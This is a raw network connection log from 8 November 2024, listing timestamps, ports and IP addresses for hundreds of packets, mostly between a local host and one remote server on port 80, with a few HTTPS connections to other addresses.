Nov 8, 2024 15:21:18.519282103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.519330025 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.558809042 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.558829069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.558842897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.558885098 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.558924913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674005985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674034119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674046993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674105883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674102068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674119949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674134016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674150944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674182892 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674182892 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674199104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674340963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674354076 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674365044 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674392939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674449921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674480915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674494028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674505949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674526930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674551964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674743891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674757957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674771070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674782991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674793959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674806118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674822092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674823046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674823046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674835920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.674853086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.674895048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.675107002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.675173998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.675179958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.675194025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.675205946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.675225973 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.675280094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.714006901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.714051962 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.714063883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.714085102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.714096069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.714149952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.714149952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.850755930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.850783110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.850795031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.850821972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.850831985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.850842953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.850858927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.850905895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.850905895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851022005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851033926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851047039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851058960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851093054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851093054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851140022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851172924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851226091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851238012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851249933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851262093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851274967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851291895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851291895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851366997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851530075 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851541042 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851552963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851564884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851576090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851588011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.851603031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851603031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.851644993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.868813038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.868856907 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.868866920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.868879080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.868904114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.869117975 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.909677029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.909718990 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.909729958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:18.909765005 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:18.909765005 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191102028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191118956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191165924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191190004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191190004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191204071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191216946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191229105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191236973 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191277981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191446066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191456079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191466093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191478968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191485882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191489935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191502094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191503048 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191514015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191524982 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191534042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191536903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191546917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191560984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191565990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191582918 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191608906 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.191836119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.191871881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192003965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192013979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192024946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192035913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192048073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192048073 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192059994 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192061901 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192071915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192085981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192096949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192107916 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192110062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192133904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192152023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192569971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192603111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192614079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192616940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192627907 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192639112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192662954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192681074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192689896 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192698002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192711115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.192724943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192748070 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.192900896 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:19.193208933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193219900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193229914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193248034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193259001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193269014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193280935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193291903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193293095 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.193304062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193312883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193325043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193329096 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.193337917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193347931 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.193348885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193362951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193375111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.193384886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.193392992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193403006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193413973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.193427086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.193438053 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.193464994 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.194854975 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:19.194897890 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:19.195075035 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:19.195096970 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:19.195118904 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:19.196594954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196667910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.196690083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196701050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196727991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.196733952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196743011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.196768045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.196818113 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196829081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196841955 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196851969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.196854115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.196870089 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.196893930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.197144032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.197154999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.197166920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.197179079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.197184086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.197190046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.197221041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.197253942 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.236552000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.236572981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.236583948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.236620903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.236668110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292309999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292325020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292335987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292354107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292363882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292372942 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292376041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292407990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292460918 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292463064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292505026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292529106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292546034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292594910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292601109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292637110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292654037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292665958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292678118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292694092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292735100 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292824984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292916059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292924881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292933941 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292942047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292954922 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.292963028 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.292992115 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293060064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293131113 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293142080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293158054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293194056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293236017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293251991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293262959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293292999 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293304920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293373108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293385029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293395996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293426991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293461084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293509007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293523073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.293541908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.293575048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.332204103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.332216978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.332256079 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.332283020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.332396984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.332407951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.332441092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.332483053 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.353928089 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:19.353997946 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:19.354082108 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:19.354311943 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:19.354325056 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:19.390050888 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.390074015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.390084028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.390116930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.390144110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447285891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447328091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447344065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447345018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447376013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447385073 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447473049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447485924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447498083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447505951 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447511911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447525024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447527885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447580099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447685957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447695971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447731018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447760105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447767973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447782040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447793007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447803020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447823048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.447966099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447977066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.447988033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448000908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448009014 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.448040962 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.448065996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448121071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448132992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448146105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448153973 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.448158026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448184013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.448327065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448338985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448352098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448364019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448376894 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.448395014 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.448502064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448512077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.448539972 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.487903118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.487967014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.487978935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.487999916 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.488034010 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.544850111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.544867039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.544878006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.544884920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.544976950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601383924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601413012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601423025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601443052 CET	49753	80	192.168.2.8	185.215.113.206
